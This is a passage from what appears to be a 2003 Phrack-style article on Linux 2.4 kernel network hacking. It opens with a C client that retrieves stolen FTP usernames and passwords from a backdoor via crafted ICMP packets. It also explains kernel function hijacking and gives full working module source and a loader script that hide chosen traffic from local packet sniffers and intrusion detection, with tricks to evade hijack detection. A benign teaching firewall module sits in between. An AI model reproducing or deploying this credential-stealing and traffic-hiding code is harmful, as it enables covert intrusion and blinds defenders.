
# include <netinet/ip.h>

#include <netinet/ip_icmp.h>

/* Function prototypes */

static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])

{

unsigned char dgram[256]; /* Plenty for a PING datagram */

unsigned char recvbuff[256];

struct ip *iphead = (struct ip *)dgram;

struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));

struct sockaddr_in src;

struct sockaddr_in addr;

struct in_addr my_addr;

struct in_addr serv_addr;

socklen_t src_addr_size = sizeof(struct sockaddr_in);

int icmp_sock = 0;

int one = 1;

int *ptr_one = &one;

if (argc < 3) {

fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]);

exit(1);

}

/* Get a socket */

if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {

fprintf(stderr, "Couldn't open raw socket! %s\n",

strerror(errno));

exit(1);

}

/* set the HDR_INCL option on the socket */

if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,

ptr_one, sizeof(one)) < 0) {

close(icmp_sock);

fprintf(stderr, "Couldn't set HDRINCL option! %s\n",

strerror(errno));

exit(1);

}

addr.sin_family = AF_INET;

addr.sin_addr.s_addr = inet_addr(argv[1]);

my_addr.s_addr = inet_addr(argv[2]);

memset(dgram, 0x00, 256);

memset(recvbuff, 0x00, 256);

/* Fill in the IP fields first */

iphead->ip_hl = 5;

iphead->ip_v = 4;

iphead->ip_tos = 0;

iphead->ip_len = 84;

iphead->ip_id = (unsigned short)rand();

iphead->ip_off = 0;

iphead->ip_ttl = 128;

iphead->ip_p = IPPROTO_ICMP;

iphead->ip_sum = 0;

iphead->ip_src = my_addr;

iphead->ip_dst = addr.sin_addr;

/* Now fill in the ICMP fields */

icmphead->icmp_type = ICMP_ECHO;

icmphead->icmp_code = 0x5B;

icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

/* Finally, send the packet */

fprintf(stdout, "Sending request...\n");

if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,

sizeof(struct sockaddr)) < 0) {

fprintf(stderr, "\nFailed sending request! %s\n",

strerror(errno));

return 0;

}

fprintf(stdout, "Waiting for reply...\n");

if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,

&src_addr_size) < 0) {

fprintf(stdout, "Failed getting reply packet! %s\n",

strerror(errno));

close(icmp_sock);

exit(1);

}

iphead = (struct ip *)recvbuff;

icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));

memcpy(&serv_addr, ((char *)icmphead + 8),

sizeof (struct in_addr));

fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));

fprintf(stdout, "Username: %s\n",

(char *)((char *)icmphead + 12));

fprintf(stdout, "Password: %s\n",

(char *)((char *)icmphead + 28));

close(icmp_sock);

return 0;

}

/* Checksum-generation function. It appears that PING'ed machines don't

* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...

* Fair enough I guess. */

static unsigned short checksum(int numwords, unsigned short *buff)

{

unsigned long sum;

for(sum = 0;numwords > 0;numwords--)

sum += *buff++; /* add next word, then increment pointer */

sum = (sum >> 16) + (sum & 0xFFFF);

sum += (sum >> 16);

return ~sum;

}

<-->

--[ 6 - Hiding network traffic from Libpcap

This section will briefly describe how the Linux 2.4 kernel

can be hacked to make network traffic that matches predefined

conditions invisible to packet sniffing software running on

the local machine. Presented at the end of this article is

working code that will do such a thing for all IPv4 traffic

coming from or going to a particular IP address. So let's

get started shall we...

----[ 6.1 - SOCK_PACKET, SOCK_RAW and Libpcap

Some of the most useful software for a system administrator

is that which can be classified under the broad title of

"packet sniffer". Two of the most common examples of general

purpose packet sniffers are tcpdump(1) and Ethereal(1). Both

of these applications utilise the Libpcap library (available

from [1] along with tcpdump) to capture raw packets. Network

Intrusion Detection Systems (NIDS) also make use of the

Libpcap library. SNORT requires Libpcap, as does Libnids, a

NIDS writing library that provides IP reassembly and TCP

stream following and is available from [2].

On Linux systems, the Libpcap library uses the SOCK_PACKET

interface. Packet sockets are special sockets that can be

used to send and receive raw packets at the link layer. There

is a lot that can be said about packet sockets and their use.

However, because this section is about hiding from them and

not using them, the interested reader is directed to the

packet(7) man page. For the discussion here, it is only

neccessary to understand that packet sockets are what Libpcap

applications use to get the information on raw packets coming

into or going out of the machine.

When a packet is received by the kernel's network stack, a

check is performed to see if there are any packet sockets

that would be interested in this packet. If there are then

the packet is delivered to those interested sockets. If not,

the packet simply continues on it's way to the TCP, UDP or

other socket type that it's truly bound for. The same thing

happens for sockets of type SOCK_RAW. Raw sockets are very

similar to packet sockets, except they do not provide link

layer headers. An example of a utility that utilises raw

IP sockets is my SYNalert utility, available at [3] (sorry

about the shameless plug there :).

So now you should see that packet sniffing software on

Linux uses the Libpcap library. Libpcap utilises the packet

socket interface to obtain raw packets with link layers on

Linux systems. Raw sockets were also mentioned which act as

a way for user space applications to obtain packets complete

with IP headers. The next section will discuss how an LKM

can be used to hide network traffic from these packet and raw

socket interfaces.

------[ 6.2 Wrapping the cloak around the dagger

When a packet is received and sent to a packet socket, the

packet_rcv() function is called. This function can be found

in net/packet/af_packet.c. packet_rcv() is responsible for

running the packet through any socket filters that may be

applied to the destination socket and then the ultimate

delivery of the packet to user space. To hide packets from

a packet socket we need to prevent packet_rcv() from being

called at all for certain packets. How do we do this? With

good ol'-fashioned function hijacking of course.

The basic operation of function hijacking is that if we

know the address of a kernel function, even one that's not

exported, we can redirect that function to another location

before we allow the real code to run. To do this we first

save so many of the original instruction bytes from the

beginning of the function and replace them with instruction

bytes that perform an absolute jump to our own code. Example

i386 assembler to do this is given here:

movl (address of our function), %eax

jmp *eax

The generated hex bytes of these instructions (substituting

zero as our function address) are:

0xb8 0x00 0x00 0x00 0x00

0xff 0xe0

If in the initialisation of an LKM we change the function

address of zero in the code above to that of our hook

function, we can make our hook function run first. When (if)

we want to run the original function we simply restore the

original bytes at the beginning, call the function and then

replace our hijacking code. Simple, but powerful. Silvio

Cesare has written a document a while ago detailing kernel

function hijacking. See [4] in the references.

Now to hide packets from packet sockets we need to first

write the hook function that will check to see if a packet

matches our criteria to be hidden. If it does, then our hook

function simply returns zero to it's caller and packet_rcv()

never gets called. If packet_rcv() never gets called, then

the packet is never delivered to the user space packet

socket. Note that it is only the *packet* socket that this

packet will be dropped on. If we want to filter FTP packets

from being sent to packet sockets then the FTP server's TCP

socket will still see the packet. All that we've done is

made that packet invisible to any sniffer software that may

be running on the host. The FTP server will still be able to

process and log the connection.

In theory that's all there is too it. The same thing can

be done for raw sockets as well. The difference is that we

need to hook the raw_rcv() function (net/ipv4/raw.c). The

next section will present and discuss source code for an

example LKM that will hijack the packet_rcv() and raw_rcv()

functions and hide any packets going to or coming from an IP

address that we specify.

--[ 7 - Conclusion

Hopefully by now you have at least a basic understanding of what Netfilter

is, how to use it and what you can do with it. You should also have the

knowledge to hide special network traffic from sniffing software running on

the local machine.If you would like a tarball of the sources used for this

tutorial then just email me. I would also appreciate any corrections,

comments or suggestions. Now I leave it to you and your imagination to do

something interesting with what I have presented here.

--[ A - Light-Weight Fire Wall

----[ A.1 - Overview

The Light-Weight Fire Wall (LWFW) is a simple kernel module that

demonstrates the basic packet filtering techniques that were presented

in section 4.LWFW also provides a control interface through the ioctl()

system call.

Because the LWFW source is sufficiently documented I will only provide

a brief overview of how it works. When the LWFW module is installed

its first task is to try and register the control device. Note that

before the ioctl() interface to LWFW can be used, a character device file

needs to be made in /dev. If the control device registration succeeds the

"in use" marker is cleared and the hook function for NF_IP_PRE_ROUTE is

registered. The clean-up function simply does the reverse of this process.

LWFW provides three basic options for dropping packets. These are, in the

order of processing:

-- Source interface

-- Source IP address

-- Destination TCP port

The specifics of these rules are set with the ioctl() interface.

When a packet is received LWFW will check it against all the rules which

have been set. If it matches any of the rules then the hook function will

return NF_DROP and Netfilter will silently drop the packet. Otherwise

the hook function will return NF_ACCEPT and the packet will continue

on its way.

The last thing worth mentioning is LWFW's statistics logging. Whenever a

packet comes into the hook function and LWFW is active the total

number of packets seen is incremented. The individual rules checking

functions are responsible for incrementing their respective count of

dropped packets. Note that when a rule's value is changed its count of

dropped packets is reset to zero. The lwfwstats program utilises the

LWFW_GET_STATS IOCTL to get a copy of the statistics structure and

display it's contents.

----[ A.2 - The source... lwfw.c

<++> lwfw/lwfw.c

/* Light-weight Fire Wall. Simple firewall utility based on

* Netfilter for 2.4. Designed for educational purposes.

*

* Written by bioforge - March 2003.

*/

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/net.h>

#include <linux/types.h>

#include <linux/skbuff.h>

#include <linux/string.h>

#include <linux/malloc.h>

#include <linux/netdevice.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

#include <linux/in.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <asm/errno.h>

#include <asm/uaccess.h>

#include "lwfw.h"

/* Local function prototypes */

static int set_if_rule(char *name);

static int set_ip_rule(unsigned int ip);

static int set_port_rule(unsigned short port);

static int check_ip_packet(struct sk_buff *skb);

static int check_tcp_packet(struct sk_buff *skb);

static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */

static int lwfw_ioctl(struct inode *inode, struct file *file,

unsigned int cmd, unsigned long arg);

static int lwfw_open(struct inode *inode, struct file *file);

static int lwfw_release(struct inode *inode, struct file *file);

/* Various flags used by the module */

/* This flag makes sure that only one instance of the lwfw device

* can be in use at any one time. */

static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.

* If this is zero then LWFW automatically allows all packets. */

static int active = 0;

/* Specifies options for the LWFW module */

static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE

| LWFW_IP_DENY_ACTIVE

| LWFW_PORT_DENY_ACTIVE);

static int major = 0; /* Control device major number */

/* This struct will describe our hook procedure. */

struct nf_hook_ops nfkiller;

/* Module statistics structure */

static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */

/* TODO: One day LWFW might actually support many simultaneous rules.

* Just as soon as I figure out the list_head mechanism... */

static char *deny_if = NULL; /* Interface to deny */

static unsigned int deny_ip = 0x00000000; /* IP address to deny */

static unsigned short deny_port = 0x0000; /* TCP port to deny */

/*

* This is the interface device's file_operations structure

*/

struct file_operations lwfw_fops = {

NULL,

NULL,

NULL,

NULL,

NULL,

NULL,

lwfw_ioctl,

NULL,

lwfw_open,

NULL,

lwfw_release,

NULL /* Will be NULL'ed from here... */

};

MODULE_AUTHOR("bioforge");

MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*

* This is the function that will be called by the hook

*/

unsigned int lwfw_hookfn(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

unsigned int ret = NF_ACCEPT;

/* If LWFW is not currently active, immediately return ACCEPT */

if (!active)

return NF_ACCEPT;

lwfw_statistics.total_seen++;

/* Check the interface rule first */

if (deny_if && DENY_IF_ACTIVE) {

if (strcmp(in->name, deny_if) == 0) { /* Deny this interface */

lwfw_statistics.if_dropped++;

lwfw_statistics.total_dropped++;

return NF_DROP;

}

}

/* Check the IP address rule */

if (deny_ip && DENY_IP_ACTIVE) {

ret = check_ip_packet(*skb);

if (ret != NF_ACCEPT) return ret;

}

/* Finally, check the TCP port rule */

if (deny_port && DENY_PORT_ACTIVE) {

ret = check_tcp_packet(*skb);

if (ret != NF_ACCEPT) return ret;

}

return NF_ACCEPT; /* We are happy to keep the packet */

}

/* Function to copy the LWFW statistics to a userspace buffer */

static int copy_stats(struct lwfw_stats *statbuff)

{

NULL_CHECK(statbuff);

copy_to_user(statbuff, &lwfw_statistics,

sizeof(struct lwfw_stats));

return 0;

}

/* Function that compares a received TCP packet's destination port

* with the port specified in the Port Deny Rule. If a processing

* error occurs, NF_ACCEPT will be returned so that the packet is

* not lost. */

static int check_tcp_packet(struct sk_buff *skb)

{

/* Seperately defined pointers to header structures are used

* to access the TCP fields because it seems that the so-called

* transport header from skb is the same as its network header TCP packets.

* If you don't believe me then print the addresses of skb->nh.iph

* and skb->h.th.

* It would have been nicer if the network header only was IP and

* the transport header was TCP but what can you do? */

struct tcphdr *thead;

/* We don't want any NULL pointers in the chain to the TCP header. */

if (!skb ) return NF_ACCEPT;

if (!(skb->nh.iph)) return NF_ACCEPT;

/* Be sure this is a TCP packet first */

if (skb->nh.iph->protocol != IPPROTO_TCP) {

return NF_ACCEPT;

}

thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));

/* Now check the destination port */

if ((thead->dest) == deny_port) {

/* Update statistics */

lwfw_statistics.total_dropped++;

lwfw_statistics.tcp_dropped++;

return NF_DROP;

}

return NF_ACCEPT;

}

/* Function that compares a received IPv4 packet's source address

* with the address specified in the IP Deny Rule. If a processing

* error occurs, NF_ACCEPT will be returned so that the packet is

* not lost. */

static int check_ip_packet(struct sk_buff *skb)

{

/* We don't want any NULL pointers in the chain to the IP header. */

if (!skb ) return NF_ACCEPT;

if (!(skb->nh.iph)) return NF_ACCEPT;

if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */

lwfw_statistics.ip_dropped++; /* Update the statistics */

lwfw_statistics.total_dropped++;

return NF_DROP;

}

return NF_ACCEPT;

}

static int set_if_rule(char *name)

{

int ret = 0;

char *if_dup; /* Duplicate interface */

/* Make sure the name is non-null */

NULL_CHECK(name);

/* Free any previously saved interface name */

if (deny_if) {

kfree(deny_if);

deny_if = NULL;

}

if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))

== NULL) {

ret = -ENOMEM;

} else {

memset(if_dup, 0x00, strlen((char *)name) + 1);

memcpy(if_dup, (char *)name, strlen((char *)name));

}

deny_if = if_dup;

lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */

printk("LWFW: Set to deny from interface: %s\n", deny_if);

return ret;

}

static int set_ip_rule(unsigned int ip)

{

deny_ip = ip;

lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */

printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",

ip & 0x000000FF, (ip & 0x0000FF00) >> 8,

(ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);

return 0;

}

static int set_port_rule(unsigned short port)

{

deny_port = port;

lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */

printk("LWFW: Set to deny for TCP port: %d\n",

((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));

return 0;

}

/*********************************************/

/*

* File operations functions for control device

*/

static int lwfw_ioctl(struct inode *inode, struct file *file,

unsigned int cmd, unsigned long arg)

{

int ret = 0;

switch (cmd) {

case LWFW_GET_VERS:

return LWFW_VERS;

case LWFW_ACTIVATE: {

active = 1;

printk("LWFW: Activated.\n");

if (!deny_if && !deny_ip && !deny_port) {

printk("LWFW: No deny options set.\n");

}

break;

}

case LWFW_DEACTIVATE: {

active ^= active;

printk("LWFW: Deactivated.\n");

break;

}

case LWFW_GET_STATS: {

ret = copy_stats((struct lwfw_stats *)arg);

break;

}

case LWFW_DENY_IF: {

ret = set_if_rule((char *)arg);

break;

}

case LWFW_DENY_IP: {

ret = set_ip_rule((unsigned int)arg);

break;

}

case LWFW_DENY_PORT: {

ret = set_port_rule((unsigned short)arg);

break;

}

default:

ret = -EBADRQC;

};

return ret;

}

/* Called whenever open() is called on the device file */

static int lwfw_open(struct inode *inode, struct file *file)

{

if (lwfw_ctrl_in_use) {

return -EBUSY;

} else {

MOD_INC_USE_COUNT;

lwfw_ctrl_in_use++;

return 0;

}

return 0;

}

/* Called whenever close() is called on the device file */

static int lwfw_release(struct inode *inode, struct file *file)

{

lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

MOD_DEC_USE_COUNT;

return 0;

}

/*********************************************/

/*

* Module initialisation and cleanup follow...

*/

int init_module()

{

/* Register the control device, /dev/lwfw */

SET_MODULE_OWNER(&lwfw_fops);

/* Attempt to register the LWFW control device */

if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,

&lwfw_fops)) < 0) {

printk("LWFW: Failed registering control device!\n");

printk("LWFW: Module installation aborted.\n");

return major;

}

/* Make sure the usage marker for the control device is cleared */

lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

printk("\nLWFW: Control device successfully registered.\n");

/* Now register the network hooks */

nfkiller.hook = lwfw_hookfn;

nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */

nfkiller.pf = PF_INET; /* IPV4 protocol hook */

nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */

/* And register... */

nf_register_hook(&nfkiller);

printk("LWFW: Network hooks successfully installed.\n");

printk("LWFW: Module installation successful.\n");

return 0;

}

void cleanup_module()

{

int ret;

/* Remove IPV4 hook */

nf_unregister_hook(&nfkiller);

/* Now unregister control device */

if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {

printk("LWFW: Removal of module failed!\n");

}

/* If anything was allocated for the deny rules, free it here */

if (deny_if)

kfree(deny_if);

printk("LWFW: Removal of module successful.\n");

}

<-->

<++> lwfw/lwfw.h

/* Include file for the Light-weight Fire Wall LKM.

*

* A very simple Netfilter module that drops backets based on either

* their incoming interface or source IP address.

*

* Written by bioforge - March 2003

*/

#ifndef __LWFW_INCLUDE__

# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.

* Userspace code has no business knowing about it. */

# define LWFW_NAME "lwfw"

/* Version of LWFW */

# define LWFW_VERS 0x0001 /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will

* print anything with printk(). This is included for debugging purposes.

*/

#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */

#define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary */

#define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */

#define LWFW_ACTIVATE 0xFEED0002

#define LWFW_DEACTIVATE 0xFEED0003

#define LWFW_GET_STATS 0xFEED0004

#define LWFW_DENY_IF 0xFEED0005

#define LWFW_DENY_IP 0xFEED0006

#define LWFW_DENY_PORT 0xFEED0007

/* Control flags/Options */

#define LWFW_IF_DENY_ACTIVE 0x00000001

#define LWFW_IP_DENY_ACTIVE 0x00000002

#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.

* Note that whenever a rule's condition is changed the related

* xxx_dropped field is reset.

*/

struct lwfw_stats {

unsigned int if_dropped; /* Packets dropped by interface rule */

unsigned int ip_dropped; /* Packets dropped by IP addr. rule */

unsigned int tcp_dropped; /* Packets dropped by TCP port rule */

unsigned long total_dropped; /* Total packets dropped */

unsigned long total_seen; /* Total packets seen by filter */

};

/*

* From here on is used solely for the actual kernel module

*/

#ifdef __KERNEL__

# define LWFW_MAJOR 241 /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If

* a pointer argument is NULL, this will return -EINVAL */

#define NULL_CHECK(ptr) \

if ((ptr) == NULL) return -EINVAL

/* Macros for accessing options */

#define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE)

#define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE)

#define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif /* __KERNEL__ */

#endif

<-->

<++> lwfw/Makefile

CC= egcs

CFLAGS= -Wall -O2

OBJS= lwfw.o

.c.o:

$(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:

rm -rf *.o

rm -rf ./*~

<-->

--[ B - Code for section 6

Presented here is a simple module that will hijack the

packet_rcv() and raw_rcv() functions to hide any packets to

or from the IP address we specify. The default IP address

is set to 127.0.0.1, but this can be changed by changing the

value of the #define IP. Also presented is a bash script

that will get the addresses for the required functions from a

System.map file and run insmod with these addresses as

parameters in the required format. This loader script was

written by grem. Originally for my Mod-off project, it was

easily modified to suit the module presented here. Thanks

again grem.

The presented module is proof-of-concept code only and as

such, does not have anything in the way of module hiding. It

is also important to remember that although this module can

hide traffic from a sniffer running on the same host, a

sniffer on a different host, but on the same LAN segment will

still see the packets. From what is presented in the module,

smart readers should have everything they need to design

filtering functions to block any kind of packets they need. I

have successfully used the technique presented in this text

to hide control and information retrieval packets used by my

other LKM projects.

<++> pcaphide/pcap_block.c

/* Kernel hack that will hijack the packet_rcv() function

* which is used to pass packets to Libpcap applications

* that use PACKET sockets. Also hijacks the raw_rcv()

* function. This is used to pass packets to applications

* that open RAW sockets.

*

* Written by bioforge - 30th June, 2003

*/

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netdevice.h>

#include <linux/skbuff.h>

#include <linux/smp_lock.h>

#include <linux/ip.h> /* For struct ip */

#include <linux/if_ether.h> /* For ETH_P_IP */

#include <asm/page.h> /* For PAGE_OFFSET */

/*

* IP address to hide 127.0.0.1 in NBO for Intel */

#define IP htonl(0x7F000001)

/* Function pointer for original packet_rcv() */

static int (*pr)(struct sk_buff *skb, struct net_device *dev,

struct packet_type *pt);

MODULE_PARM(pr, "i"); /* Retrieved as insmod parameter */

/* Function pointer for original raw_rcv() */

static int (*rr)(struct sock *sk, struct sk_buff *skb);

MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */

static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */

#define HIJACK_LOCK spin_lock_irqsave(&hijack_lock, \

sl_flags)

#define HIJACK_UNLOCK spin_unlock_irqrestore(&hijack_lock, \

sl_flags)

#define CODESIZE 10

/* Original and hijack code buffers.

* Note that the hijack code also provides 3 additional

* bytes ( inc eax; nop; dec eax ) to try and throw

* simple hijack detection techniques that just look for

* a move and a jump. */

/* For packet_rcv() */

static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"

"\x40\x90\x48"

"\xff\xe0";

static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */

static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"

"\x40\x90\x48"

"\xff\xe0";

static unsigned char rr_orig[CODESIZE];

/* Replacement for packet_rcv(). This is currently setup to hide

* all packets with a source or destination IP address that we

* specify. */

int hacked_pr(struct sk_buff *skb, struct net_device *dev,

struct packet_type *pt)

{

int sl_flags; /* Flags for spinlock */

int retval;

/* Check if this is an IP packet going to or coming from our

* hidden IP address. */

if (skb->protocol == htons(ETH_P_IP)) /* IP packet */

if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)

return 0; /* Ignore this packet */

/* Call original */

HIJACK_LOCK;

memcpy((char *)pr, pr_orig, CODESIZE);

retval = pr(skb, dev, pt);

memcpy((char *)pr, pr_code, CODESIZE);

HIJACK_UNLOCK;

return retval;

}

/* Replacement for raw_rcv(). This is currently setup to hide

* all packets with a source or destination IP address that we

* specify. */

int hacked_rr(struct sock *sock, struct sk_buff *skb)

{

int sl_flags; /* Flags for spinlock */

int retval;

/* Check if this is an IP packet going to or coming from our

* hidden IP address. */

if (skb->protocol == htons(ETH_P_IP)) /* IP packet */

if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)

return 0; /* Ignore this packet */

/* Call original */

HIJACK_LOCK;

memcpy((char *)rr, rr_orig, CODESIZE);

retval = rr(sock, skb);

memcpy((char *)rr, rr_code, CODESIZE);

HIJACK_UNLOCK;

return retval;

}

int init_module()

{

int sl_flags; /* Flags for spinlock */

/* pr & rr set as module parameters. If zero or < PAGE_OFFSET

* (which we treat as the lower bound of kernel memory), then

* we will not install the hacks. */

if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {

printk("Address for packet_rcv() not valid! (%08x)\n",

(int)pr);

return -1;

}

if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {

printk("Address for raw_rcv() not valid! (%08x)\n",

(int)rr);

return -1;

}

*(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;

*(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;

HIJACK_LOCK;

memcpy(pr_orig, (char *)pr, CODESIZE);

memcpy((char *)pr, pr_code, CODESIZE);

memcpy(rr_orig, (char *)rr, CODESIZE);

memcpy((char *)rr, rr_code, CODESIZE);

HIJACK_UNLOCK;

EXPORT_NO_SYMBOLS;

return 0;

}

void cleanup_module()

{

int sl_flags;

lock_kernel();

HIJACK_LOCK;

memcpy((char *)pr, pr_orig, CODESIZE);

memcpy((char *)rr, rr_orig, CODESIZE);

HIJACK_UNLOCK;

unlock_kernel();

}

<-->

<++> pcaphide/loader.sh

#!/bin/sh

# Written by grem, 30th June 2003

# Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then

echo "Use: $0 <System.map>";

exit;

fi

MAP="$1"

PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`

RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then

PR="00000000"

fi

if [ "$RR" = "" ]; then

RR="00000000"

fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod

insmod pcap_block.o pr=0x$PR rr=0x$RR

<-->

<++> pcaphide/Makefile

CC= gcc

CFLAGS= -Wall -O2 -fomit-frame-pointer

INCLUDES= -I/usr/src/linux/include

OBJS= pcap_block.o

.c.o:

$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:

rm -rf *.o

rm -rf ./*~

<-->

------[ References

This appendix contains a list of references used in writing this article.

[1] The tcpdump group
http://www.tcpdump.org
[2] The Packet Factory
http://www.packetfactory.net
[3] My network tools page -
http://uqconnect.net/~zzoklan/software/#net_tools
[4] Silvio Cesare's Kernel Function Hijacking article
http://vx.netlux.org/lib/vsc08.html
[5] Man pages for:

- raw (7)

- packet (7)

- tcpdump (1)

[6] Linux kernel source files. In particular:

- net/packet/af_packet.c (for packet_rcv())

- net/ipv4/raw.c (for raw_rcv())

- net/core/dev.c

- net/ipv4/netfilter/*

[7] Harald Welte's Journey of a packet through the Linux 2.4 network

stack
http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
[8] The Netfilter documentation page
http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
http://www.phrack.org/show.php?p=55&a=12
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.

[B] Inside the Linux Packet Filter. A Linux Journal article
http://www.linuxjournal.com/article.php?sid=4852
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: